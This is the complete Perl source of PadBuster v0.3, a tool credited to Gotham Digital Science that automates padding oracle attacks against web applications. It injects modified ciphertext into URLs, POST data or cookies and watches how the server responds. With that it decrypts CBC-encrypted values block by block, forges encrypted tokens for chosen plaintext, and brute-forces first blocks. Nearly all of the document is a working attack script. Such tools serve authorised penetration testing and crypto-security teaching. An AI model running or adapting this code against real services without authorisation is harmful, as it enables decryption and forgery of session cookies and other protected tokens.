#!/usr/bin/perl
#
# PadBuster v0.3 - Automated script for performing Padding Oracle attacks
# Brian Holyfield - Gotham Digital Science ([email protected])
#
# Credits to J.Rizzo and T.Duong for providing proof of concept web exploit
# techniques and S.Vaudenay for initial discovery of the attack. Credits also
# to James M. Martin ([email protected]) for sharing proof of concept exploit
# code for performing various brute force attack techniques.
#

use LWP::UserAgent;
use strict;
use Getopt::Std;
use MIME::Base64;
use URI::Escape;
use Getopt::Long;
use Time::HiRes qw( gettimeofday );
use Compress::Zlib;

GetOptions( "log" => \my $logFiles,
"post=s" => \my $post,
"encoding=s" => \my $encoding,
"headers=s" => \my $headers,
"cookies=s" => \my $cookie,
"error=s" => \my $error,
"prefix=s" => \my $prefix,
"intermediate=s" => \my $intermediaryInput,
"ciphertext=s" => \my $cipherInput,
"plaintext=s" => \my $plainTextInput,
"encodedtext=s" => \my $encodedPlainTextInput,
"noencode" => \my $noEncodeOption,
"veryverbose" => \my $superVerbose,
"proxy" => \my $proxy,
"proxyauth" => \my $proxyAuth,
"noiv" => \my $noIv,
"auth=s" => \my $auth,
"resume=s" => \my $resumeBlock,
"interactive" => \my $interactive,
"bruteforce" => \my $bruteForce,
"ignorecontent" => \my $ignoreContent,
"usebody" => \my $useBody,
"verbose" => \my $verbose);

print "\n+-------------------------------------------+\n";
print "| PadBuster - v0.3 |\n";
print "| Brian Holyfield - Gotham Digital Science |\n";
print "| labs\@gdssecurity.com |\n";
print "+-------------------------------------------+\n";

if ($#ARGV < 2) {
die "
Use: padBuster.pl URL EncryptedSample BlockSize [options]

Where: URL = The target URL (and query string if applicable)
EncryptedSample = The encrypted value you want to test. Must
also be present in the URL, PostData or a Cookie
BlockSize = The block size being used by the algorithm

Options:
-auth [username:password]: HTTP Basic Authentication
-bruteforce: Perform brute force against the first block
-ciphertext [Bytes]: CipherText for Intermediate Bytes (Hex-Encoded)
-cookies [HTTP Cookies]: Cookies (name1=value1; name2=value2)
-encoding [0-4]: Encoding Format of Sample (Default 0)
0=Base64, 1=Lower HEX, 2=Upper HEX
3=.NET UrlToken, 4=WebSafe Base64
-encodedtext [Encoded String]: Data to Encrypt (Encoded)
-error [Error String]: Padding Error Message
-headers [HTTP Headers]: Custom Headers (name1::value1;name2::value2)
-interactive: Prompt for confirmation on decrypted bytes
-intermediate [Bytes]: Intermediate Bytes for CipherText (Hex-Encoded)
-log: Generate log files (creates folder PadBuster.DDMMYY)
-noencode: Do not URL-encode the payload (encoded by default)
-noiv: Sample does not include IV (decrypt first block)
-plaintext [String]: Plain-Text to Encrypt
-post [Post Data]: HTTP Post Data String
-prefix [Prefix]: Prefix bytes to append to each sample (Encoded)
-proxy [address:port]: Use HTTP/S Proxy
-proxyauth [username:password]: Proxy Authentication
-resume [Block Number]: Resume at this block number
-usebody: Use response body content for response analysis phase
-verbose: Be Verbose
-veryverbose: Be Very Verbose (Debug Only)

";}

# Ok, if we've made it this far we are ready to begin..
my $url = @ARGV[0];
my $sample = @ARGV[1];
my $blockSize = @ARGV[2];

if ($url eq "" || $sample eq "" || $blockSize eq "")
{
print "\nERROR: The URL, EncryptedSample and BlockSize cannot be null.\n";
exit();
}

# Hard Coded Inputs
#$post = "";
#$sample = "";

my $method = $post ? "POST" : "GET";

# These are file related variables
my $dirName = "PadBuster." . getTime("F");
my $dirSlash = "/";
my $dirCmd = "mkdir ";
if ($ENV{'OS'} =~ /Windows/) {
$dirSlash = "\\";
$dirCmd = "md ";
}
my $dirExists = 0;
my $printStats = 0;
my $requestTracker = 0;
my $timeTracker = 0;

if ($encoding < 0 || $encoding > 4)
{
print "\nERROR: Encoding must be a value between 0 and 4\n";
exit();
}
my $encodingFormat = $encoding ? $encoding : 0;

my $encryptedBytes = $sample;
my $totalRequests = 0;

# See if the sample needs to be URL decoded, otherwise don't (the plus from B64 will be a problem)
if ($sample =~ /\%/)
{
$encryptedBytes = uri_unescape($encryptedBytes)
}

# Prep the sample for regex use
$sample = quotemeta $sample;

# Now decode
$encryptedBytes = myDecode($encryptedBytes, $encodingFormat);
if ( (length($encryptedBytes) % $blockSize) > 0)
{
print "\nERROR: Encrypted Bytes must be evenly divisible by Block Size ($blockSize)\n";
print " Encrypted sample length is ".int(length($encryptedBytes)).". Double check the Encoding and Block Size.\n";
exit();
}

# If no IV, then append nulls as the IV (only if decrypting)
if ($noIv && !$bruteForce && !$plainTextInput)
{
$encryptedBytes = "\x00" x $blockSize . $encryptedBytes;
}

# PlainTextBytes is where the complete decrypted sample will be stored (decrypt only)
my $plainTextBytes;

# This is a bool to make sure we know where to replace the sample string
my $wasSampleFound = 0;

# ForgedBytes is where the complete forged sample will be stored (encrypt only)
my $forgedBytes;

# Isolate the IV into a separate byte array
my $ivBytes = substr($encryptedBytes, 0, $blockSize);

# Declare some optional elements for storing the results of the first test iteration
# to help the user if they don't know what the padding error looks like
my @oracleCantidates;
my $oracleSignature = "";
my %oracleGuesses;
my %responseFileBuffer;

# The block count should be the sample divided by the blocksize
my $blockCount = int(length($encryptedBytes)) / int($blockSize);

if (!$bruteForce && !$plainTextInput && $blockCount < 2)
{
print "\nERROR: There is only one block. Try again using the -noiv option.\n";
exit();
}

# The attack works by sending in a real cipher text block along with a fake block in front of it
# You only ever need to send two blocks at a time (one real one fake) and just work through
# the sample one block at a time

# First, re-issue the original request to let the user know if something is potentially broken
my ($status, $content, $location, $contentLength) = makeRequest($method, $url, $post, $cookie);

myPrint("\nINFO: The original request returned the following",0);
myPrint("[+] Status: $status",0);
myPrint("[+] Location: $location",0);
myPrint("[+] Content Length: $contentLength\n",0);
myPrint("[+] Response: $content\n",1);

$encodedPlainTextInput ? $plainTextInput = myDecode($encodedPlainTextInput,$encodingFormat) : "";

if ($bruteForce)
{
myPrint("INFO: Starting PadBuster Brute Force Mode",0);
my $bfAttempts = 0;

$resumeBlock ? print "INFO: Resuming previous brute force at attempt $resumeBlock\n" : "";

# Only loop through the first 3 bytes...this should be enough as it
# requires 16.5M+ requests

my @bfSamples;
my $sampleString = "\x00" x 2;
for my $c (0 ... 255)
{
substr($sampleString, 0, 1, chr($c));
for my $d (0 ... 255)
{
substr($sampleString, 1, 1, chr($d));
push (@bfSamples, $sampleString);
}
}

foreach my $testVal (@bfSamples)
{
my $complete = 0;
while ($complete == 0)
{
my $repeat = 0;
for my $b (0 ... 255)
{
$bfAttempts++;
if ($resumeBlock && ( $bfAttempts < ($resumeBlock - ($resumeBlock % 256)+1) ) )
{
#SKIP
}
else
{
my $testBytes = chr($b).$testVal;
$testBytes .= "\x00" x ($blockSize-3);

my $combinedBf = $testBytes;
$combinedBf .= $encryptedBytes;
$combinedBf = myEncode($combinedBf, $encoding);

# Add the Query String to the URL
my ($testUrl, $testPost, $testCookies) = prepRequest($url, $post, $cookie, $sample, $combinedBf);

# Issue the request
my ($status, $content, $location, $contentLength) = makeRequest($method, $testUrl, $testPost, $testCookies);

my $signatureData = "$status\t$contentLength\t$location";
$useBody ? ($signatureData = "$status\t$contentLength\t$location\t$content") : "" ;

if ($oracleSignature eq "")
{
$b == 0 ? myPrint("[+] Starting response analysis...\n",0) : "";
$oracleGuesses{$signatureData}++;
$responseFileBuffer{$signatureData} = "Status: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content";
if ($b == 255)
{
myPrint("*** Response Analysis Complete ***\n",0);
determineSignature();
$printStats = 1;
$timeTracker = 0;
$requestTracker = 0;
$repeat = 1;
$bfAttempts = 0;
}
}
if ($oracleSignature ne "" && $oracleSignature ne $signatureData)
{
myPrint("\nAttempt $bfAttempts - Status: $status - Content Length: $contentLength\n$testUrl\n",0);
writeFile("Brute_Force_Attempt_".$bfAttempts.".txt", "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content");
}
}
}
($repeat == 1) ? ($complete = 0) : ($complete = 1);
}
}
}
elsif ($plainTextInput)
{
# ENCRYPT MODE
myPrint("INFO: Starting PadBuster Encrypt Mode",0);

# The block count will be the plaintext divided by blocksize (rounded up)
my $blockCount = int(((length($plainTextInput)+1)/$blockSize)+0.99);
myPrint("[+] Number of Blocks: ".$blockCount."\n",0);

my $padCount = ($blockSize * $blockCount) - length($plainTextInput);
$plainTextInput.= chr($padCount) x $padCount;

# SampleBytes is the encrypted text you want to derive intermediate values for, so
# copy the current ciphertext block into sampleBytes
# Note, nulls are used if not provided and the intermediate values are brute forced

$forgedBytes = $cipherInput ? myDecode($cipherInput,1) : "\x00" x $blockSize;
my $sampleBytes = $forgedBytes;

for (my $blockNum = $blockCount; $blockNum > 0; $blockNum--)
{
# IntermediaryBytes is where the intermediate bytes produced by the algorithm are stored
my $intermediaryBytes;

if ($intermediaryInput && $blockNum == $blockCount)
{
$intermediaryBytes = myDecode($intermediaryInput,2);
}
else
{
$intermediaryBytes = processBlock($sampleBytes);
}

# Now XOR the intermediate bytes with the corresponding bytes from the plain-text block
# This will become the next ciphertext block (or IV if the last one)
$sampleBytes = $intermediaryBytes ^ substr($plainTextInput, (($blockNum-1) * $blockSize), $blockSize);
$forgedBytes = $sampleBytes.$forgedBytes;

myPrint("\nBlock ".($blockNum)." Results:",0);
myPrint("[+] New Cipher Text (HEX): ".myEncode($sampleBytes,1),0);
myPrint("[+] Intermediate Bytes (HEX): ".myEncode($intermediaryBytes,1)."\n",0);

}
$forgedBytes = myEncode($forgedBytes, $encoding);
chomp($forgedBytes);
}
else
{
# DECRYPT MODE
myPrint("INFO: Starting PadBuster Decrypt Mode",0);

if ($resumeBlock)
{
myPrint("INFO: Resuming previous exploit at Block $resumeBlock\n",0);
}
else
{
$resumeBlock = 1
}

# Assume that the IV is included in our sample and that the first block is the IV
for (my $blockNum = ($resumeBlock+1); $blockNum <= $blockCount; $blockNum++)
{
# Since the IV is the first block, our block count is artificially inflated by one
myPrint("*** Starting Block ".($blockNum-1)." of ".($blockCount-1)." ***\n",0);

# SampleBytes is the encrypted text you want to break, so
# lets copy the current ciphertext block into sampleBytes
my $sampleBytes = substr($encryptedBytes, ($blockNum * $blockSize - $blockSize), $blockSize);

# IntermediaryBytes is where the the intermediary bytes produced by the algorithm are stored
my $intermediaryBytes = processBlock($sampleBytes);

# DecryptedBytes is where the decrypted block is stored
my $decryptedBytes;

# Now we XOR the decrypted byte with the corresponding byte from the previous block
# (or IV if we are in the first block) to get the actual plain-text
$blockNum == 2 ? $decryptedBytes = $intermediaryBytes ^ $ivBytes : $decryptedBytes = $intermediaryBytes ^ substr($encryptedBytes, (($blockNum - 2) * $blockSize), $blockSize);

myPrint("\nBlock ".($blockNum-1)." Results:",0);
myPrint("[+] Cipher Text (HEX): ".myEncode($sampleBytes,1),0);
myPrint("[+] Intermediate Bytes (HEX): ".myEncode($intermediaryBytes,1),0);
myPrint("[+] Plain Text: $decryptedBytes\n",0);
$plainTextBytes = $plainTextBytes.$decryptedBytes;
}
}

myPrint("-------------------------------------------------------",0);
myPrint("** Finished ***\n", 0);
if ($plainTextInput)
{
myPrint("[+] Encrypted value is: ".uri_escape($forgedBytes),0);
}
else
{
myPrint("[+] Decrypted value (ASCII): $plainTextBytes\n",0);
myPrint("[+] Decrypted value (HEX): ".myEncode($plainTextBytes,2)."\n", 0);
myPrint("[+] Decrypted value (Base64): ".myEncode($plainTextBytes,0)."\n", 0);
}
myPrint("-------------------------------------------------------\n",0);

sub determineSignature()
{
# Help the user detect the oracle response if an error string was not provided
# This logic will automatically suggest the response pattern that occured most often
# during the test as this is the most likeley one

my @sortedGuesses = sort {$oracleGuesses{$a} <=> $oracleGuesses{$b}} keys %oracleGuesses;

myPrint("The following response signatures were returned:\n",0);
myPrint("-------------------------------------------------------",0);
if ($useBody)
{
myPrint("ID#\tFreq\tStatus\tLength\tChksum\tLocation",0);
}
else
{
myPrint("ID#\tFreq\tStatus\tLength\tLocation",0);
}
myPrint("-------------------------------------------------------",0);

my $id = 1;

foreach (@sortedGuesses)
{
my $line = $id;
($id == $#sortedGuesses+1 && $#sortedGuesses != 0) ? $line.= " **" : "";
my @sigFields = split("\t", $_);
$line .= "\t$oracleGuesses{$_}\t@sigFields[0]\t@sigFields[1]";
$useBody ? ( $line .= "\t".unpack( '%32A*', @sigFields[3] ) ) : "";
$line .= "\t@sigFields[2]";
myPrint($line,0);
writeFile("Response_Analysis_Signature_".$id.".txt", $responseFileBuffer{$_});
$id++;
}
myPrint("-------------------------------------------------------",0);

if ($#sortedGuesses == 0 && !$bruteForce)
{
myPrint("\nERROR: All of the responses were identical.\n",0);
myPrint("Double check the Block Size and try again.",0);
exit();
}
else
{
my $responseNum = &promptUser("\nEnter an ID that matches the error condition\nNOTE: The ID# marked with ** is recommended");
myPrint("\nContinuing test with selection $responseNum\n",0);
$oracleSignature = @sortedGuesses[$responseNum-1];
}
}

sub prepRequest
{
my ($pUrl, $pPost, $pCookie, $pSample, $pTestBytes) = @_;

# Prepare the request
my $testUrl = $pUrl;
my $wasSampleFound = 0;

if ($pUrl =~ /$pSample/)
{
$testUrl =~ s/$pSample/$pTestBytes/;
$wasSampleFound = 1;
}

my $testPost = "";
if ($pPost)
{
$testPost = $pPost;
if ($pPost =~ /$pSample/)
{
$testPost =~ s/$pSample/$pTestBytes/;
$wasSampleFound = 1;
}
}

my $testCookies = "";
if ($pCookie)
{
$testCookies = $pCookie;
if ($pCookie =~ /$pSample/)
{
$testCookies =~ s/$pSample/$pTestBytes/;
$wasSampleFound = 1;
}
}

if ($wasSampleFound == 0)
{
myPrint("ERROR: Encrypted sample was not found in the test request",0);
exit();
}
return ($testUrl, $testPost, $testCookies);
}

sub processBlock
{
my ($sampleBytes) = @_;

# Analysis mode is either 0 (response analysis) or 1 (exploit)
(!$error && $oracleSignature eq "") ? my $analysisMode = 0 : my $analysisMode = 1;

# The return value of this subroutine is the intermediate text for the block
my $returnValue;

my $complete = 0;
my $autoRetry = 0;
my $hasHit = 0;

while ($complete == 0)
{
# Reset the return value
$returnValue = "";

my $repeat = 0;

# TestBytes are the fake bytes that are pre-pending to the cipher test for the padding attack
my $testBytes = "\x00" x $blockSize;

my $falsePositiveDetector = 0;

# Work on one byte at a time, starting with the last byte and moving backwards
OUTERLOOP:
for (my $byteNum = $blockSize - 1; $byteNum >= 0; $byteNum--)
{
INNERLOOP:
for (my $i = 255; $i >= 0; $i--)
{
# Fuzz the test byte
substr($testBytes, $byteNum, 1, chr($i));

# Combine the test bytes and the sample
my $combinedTestBytes = $testBytes.$sampleBytes;

if ($prefix)
{
$combinedTestBytes = myDecode($prefix,$encodingFormat).$combinedTestBytes
}

$combinedTestBytes = myEncode($combinedTestBytes, $encodingFormat);
chomp($combinedTestBytes);

if (! $noEncodeOption)
{
$combinedTestBytes = uri_escape($combinedTestBytes);
}

my ($testUrl, $testPost, $testCookies) = prepRequest($url, $post, $cookie, $sample, $combinedTestBytes);

# Ok, now make the request

my ($status, $content, $location, $contentLength) = makeRequest($method, $testUrl, $testPost, $testCookies);

my $signatureData = "$status\t$contentLength\t$location";
$useBody ? ($signatureData = "$status\t$contentLength\t$location\t$content") : "";

# If this is the first block and there is no padding error message defined, then cycle through
# all possible requests and let the user decide what the padding error behavior is.
if ($analysisMode == 0)
{
$i == 255 ? myPrint("INFO: No error string was provided...starting response analysis\n",0) : "";
$oracleGuesses{$signatureData}++;

$responseFileBuffer{$signatureData} = "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content";

if ($byteNum == $blockSize - 1 && $i == 0)
{
myPrint("*** Response Analysis Complete ***\n",0);
determineSignature();
$analysisMode = 1;
$repeat = 1;
last OUTERLOOP;
}
}

my $continue = "y";

if (($error && $content !~ /$error/) || ($oracleSignature ne "" && $oracleSignature ne $signatureData))
{
# This is for autoretry logic (only works on the first byte)
if ($autoRetry == 1 && ($byteNum == ($blockSize - 1) ) && $hasHit == 0 )
{
$hasHit++;
}
else
{
# If there was no padding error, then it worked
myPrint("[+] Success: ($i) [Byte ".($byteNum+1)."]",0);
myPrint("[+] Test Byte:".uri_escape(substr($testBytes, $byteNum, 1)),1);

# If continually getting a hit on attempt zero, then something is probably wrong
$i == 255 ? $falsePositiveDetector++ : "";

if ($interactive == 1)
{
$continue = &promptUser("Do you want to use this value (Yes/No/All)? [y/n/a]","",1);
}

if ($continue eq "y" | $continue eq "a")
{
$continue eq "a" ? $interactive = 0 : "";

# Next, calculate the decrypted byte by XORing it with the padding value
my ($currentPaddingByte, $nextPaddingByte);

# These variables could allow for flexible padding schemes (for now PCKS)
# For PCKS#7, the padding block is equal to chr($blockSize - $byteNum)
$currentPaddingByte = chr($blockSize - $byteNum);
$nextPaddingByte = chr($blockSize - $byteNum + 1);

my $decryptedByte = substr($testBytes, $byteNum, 1) ^ $currentPaddingByte;
myPrint("[+] XORing with Padding Char, which is ".uri_escape($currentPaddingByte),1);

$returnValue = $decryptedByte.$returnValue;
myPrint("[+] Decrypted Byte is: ".uri_escape($decryptedByte),1);

# Finally, update the test bytes in preparation for the next round, based on the padding used
for (my $k = $byteNum; $k < $blockSize; $k++)
{
# First, XOR the current test byte with the padding value for this round to recover the decrypted byte
substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $currentPaddingByte));

# Then, XOR it again with the padding byte for the next round
substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $nextPaddingByte));
}
last INNERLOOP;
}

}
}

## TODO: Combine these two blocks?
if ($i == 0 && $analysisMode == 1)
{
# End of the road with no success. We should probably try again.
myPrint("ERROR: No matching response on [Byte ".($byteNum+1)."]",0);

if ($autoRetry == 0 && ($byteNum == ($blockSize - 2) ) )
{
$autoRetry = 1;
myPrint(" Automatically trying one more time...",0);
$repeat = 1;
last OUTERLOOP;

}
else
{
if (($byteNum == $blockSize - 1) && ($error))
{
myPrint("\nAre you sure you specified the correct error string?",0);
myPrint("Try re-running without the -e option to perform a response analysis.\n",0);
}

$continue = &promptUser("Do you want to start this block over? (Yes/No)? [y/n/a]","",1);
if ($continue ne "n")
{
myPrint("INFO: Switching to interactive mode",0);
$interactive = 1;
$repeat = 1;
last OUTERLOOP;
}
}
}
if ($falsePositiveDetector == $blockSize)
{
myPrint("\n*** ERROR: It appears there are false positive results. ***\n",0);
myPrint("HINT: The most likely cause for this is an incorrect error string.\n",0);
if ($error)
{
myPrint("[+] Check the error string you provided and try again, or consider running",0);
myPrint("[+] without an error string to perform an automated response analysis.\n",0);
}
else
{
myPrint("[+] You may want to consider defining a custom padding error string",0);
myPrint("[+] instead of the automated response analysis.\n",0);
}
$continue = &promptUser("Do you want to start this block over? (Yes/No)? [y/n/a]","",1);
if ($continue eq "y")
{
myPrint("INFO: Switching to interactive mode",0);
$interactive = 1;
$repeat = 1;
last OUTERLOOP;
}
}
}
}
($repeat == 1) ? ($complete = 0) : ($complete = 1);
}
return $returnValue;
}

sub makeRequest {
my ($method, $url, $data, $cookie) = @_;
my ($noConnect, $numRetries, $lwp, $status, $content, $req, $location, $contentLength);

$requestTracker++;
#print "$url\n\n";
do
{
$lwp = LWP::UserAgent->new(env_proxy => 1,
keep_alive => 1,
timeout => 30,
requests_redirectable => [],
);

$req = new HTTP::Request $method => $url;

# Add request content for POST and PUTS
if ($data ne "") {
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
}

if ($proxy)
{
my $proxyUrl = "http://";
if ($proxyAuth)
{
my ($proxyUser, $proxyPass) = split(":",$proxyAuth);
$ENV{HTTPS_PROXY_USERNAME} = $proxyUser;
$ENV{HTTPS_PROXY_PASSWORD} = $proxyPass;
$proxyUrl .= $proxyAuth."@";
}
$proxyUrl .= $proxy;
$lwp->proxy(['http'], $proxyUrl);
$ENV{HTTPS_PROXY} = "http://".$proxy;
}

if ($auth) {
my ($httpuser, $httppass) = split(/:/,$auth);
$req->authorization_basic($httpuser, $httppass);
}

# If cookies are defined, add a COOKIE header
if (! $cookie eq "") {
$req->header(Cookie => $cookie);
}

if ($headers) {
my @customHeaders = split(/;/i,$headers);
for (my $i = 0; $i <= $#customHeaders; $i++) {
my ($headerName, $headerVal) = split(/\::/i,$customHeaders[$i]);
$req->header($headerName, $headerVal);
}
}

my $startTime = gettimeofday();
my $response = $lwp->request($req);
my $endTime = gettimeofday();
$timeTracker = $timeTracker + ($endTime - $startTime);

if ($printStats == 1 && $requestTracker % 250 == 0)
{
print "[+] $requestTracker Requests Issued (Avg Request Time: ".(sprintf "%.3f", $timeTracker/100).")\n";
$timeTracker = 0;
}

# Extract the required attributes from the response
$status = substr($response->status_line, 0, 3);
$content = $response->content;

$superVerbose ? myPrint("Response Content:\n$content",0) : "";
$location = $response->header("Location");
if ($location eq "")
{
$location = "N/A";
}
$contentLength = $response->header("Content-Length");

my $contentEncoding = $response->header("Content-Encoding");
if ($contentEncoding =~ /GZIP/i )
{
$content = Compress::Zlib::memGunzip($content);
$contentLength = length($content);
}

my $statusMsg = $response->status_line;
#myPrint("Status: $statusMsg, Location: $location, Length: $contentLength",1);

if ($statusMsg =~ /Can't connect/) {
print "ERROR: $statusMsg\n Retrying in 10 seconds...\n\n";
$noConnect = 1;
$numRetries++;
sleep 10;
} else {
$noConnect = 0;
$totalRequests++;
}
} until (($noConnect == 0) || ($numRetries >= 15));
if ($numRetries >= 15) {
myPrint("ERROR: Number of retries has exceeded 15 attempts...quitting.\n",0);
exit;
}
return ($status, $content, $location, $contentLength);
}

sub myPrint {
my ($printData, $printLevel) = @_;
$printData = $printData."\n";
if (($verbose && $printLevel > 0) || $printLevel < 1 || $superVerbose)
{
print $printData;
writeFile("ActivityLog.txt",$printData);
}
}

sub myEncode {
my ($toEncode, $format) = @_;
return encodeDecode($toEncode, 0, $format);
}

sub myDecode {
my ($toDecode, $format) = @_;
return encodeDecode($toDecode, 1, $format);
}

sub encodeDecode {
my ($toEncodeDecode, $oper, $format) = @_;
# Oper: 0=Encode, 1=Decode
# Format: 0=Base64, 1 Hex Lower, 2 Hex Upper, 3=NetUrlToken
my $returnVal = "";
if ($format == 1 || $format == 2)
{
# HEX
if ($oper == 1)
{
#Decode
#Always convert to lower when decoding)
$toEncodeDecode = lc($toEncodeDecode);
$returnVal = pack("H*",$toEncodeDecode);
}
else
{
#Encode
$returnVal = unpack("H*",$toEncodeDecode);
if ($format == 2)
{
#Uppercase
$returnVal = uc($returnVal)
}
}
}
elsif ($format == 3)
{
# NetUrlToken
if ($oper == 1)
{
$returnVal = web64Decode($toEncodeDecode,1);
}
else
{
$returnVal = web64Encode($toEncodeDecode,1);
}
}
elsif ($format == 4)
{
# Web64
if ($oper == 1)
{
$returnVal = web64Decode($toEncodeDecode,0);
}
else
{
$returnVal = web64Encode($toEncodeDecode,0);
}
}
else
{
# B64
if ($oper == 1)
{
$returnVal = decode_base64($toEncodeDecode);
}
else
{
$returnVal = encode_base64($toEncodeDecode);
$returnVal =~ s/(\r|\n)//g;
}
}

return $returnVal;
}

sub web64Encode {
my ($input, $net) = @_;
# net: 0=No Padding Number, 1=Padding (NetUrlToken)
$input = encode_base64($input);
$input =~ s/(\r|\n)//g;
$input =~ s/\+/\-/g;
$input =~ s/\//\_/g;
my $count = $input =~ s/\=//g;
($count eq "") ? ($count = 0) : "";
($net == 1) ? $input.= $count : "";
return $input;
}

sub web64Decode {
my ($input, $net) = @_;
# net: 0=No Padding Number, 1=Padding (NetUrlToken)
$input =~ s/\-/\+/g;
$input =~ s/\_/\//g;
if ($net == 1)
{
my $count = chop($input);
$input = $input.("=" x int($count));
}
return decode_base64($input);
}

sub promptUser {
my($prompt, $default, $yn) = @_;
my $defaultValue = $default ? "[$default]" : "";
print "$prompt $defaultValue: ";
chomp(my $input = <STDIN>);

$input = $input ? $input : $default;
if ($yn)
{
if ($input =~ /^y|n|a$/)
{
return $input;
}
else
{
promptUser($prompt, $default, $yn);
}
}
else
{
if ($input =~ /^-?\d/ && $input > 0 && $input < 256)
{
return $input;
} else {
promptUser($prompt, $default);
}
}
}

sub writeFile
{
my ($fileName, $fileContent) = @_;
if ($logFiles)
{
if ($dirExists != 1)
{
system($dirCmd." ".$dirName);
$dirExists = 1;
}
$fileName = $dirName.$dirSlash.$fileName;
open(OUTFILE, ">>$fileName") or die "ERROR: Can't write to file $fileName\n";
print OUTFILE $fileContent;
close(OUTFILE);
}
}

sub getTime {
my ($format) = @_;
my ($second, $minute, $hour, $day, $month, $year, $weekday, $dayofyear, $isDST) = localtime(time);
my @months = ("JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC");
my @days = ("SUN","MON","TUE","WED","THU","FRI","SAT");
($minute < 10) ? ($minute = "0".$minute) : "";
($second < 10) ? ($second = "0".$second) : "";
($day < 10) ? ($day = "0".$day) : "";
($month < 10) ? ($month = "0".$month) : "";
($hour < 10) ? ($hour = "0".$hour) : "";
$year =~ s/^.//;
if ($format eq "F") {
return $day.$months[$month].$year."-".( ($hour * 3600) + ($minute * 60) + ($second) );
} elsif ($format eq "S") {
return $months[$month]." ".$day.", 20".$year." at ".$hour.":".$minute.":".$second;
} else {
return $hour.":".$minute.":".$second;
}
}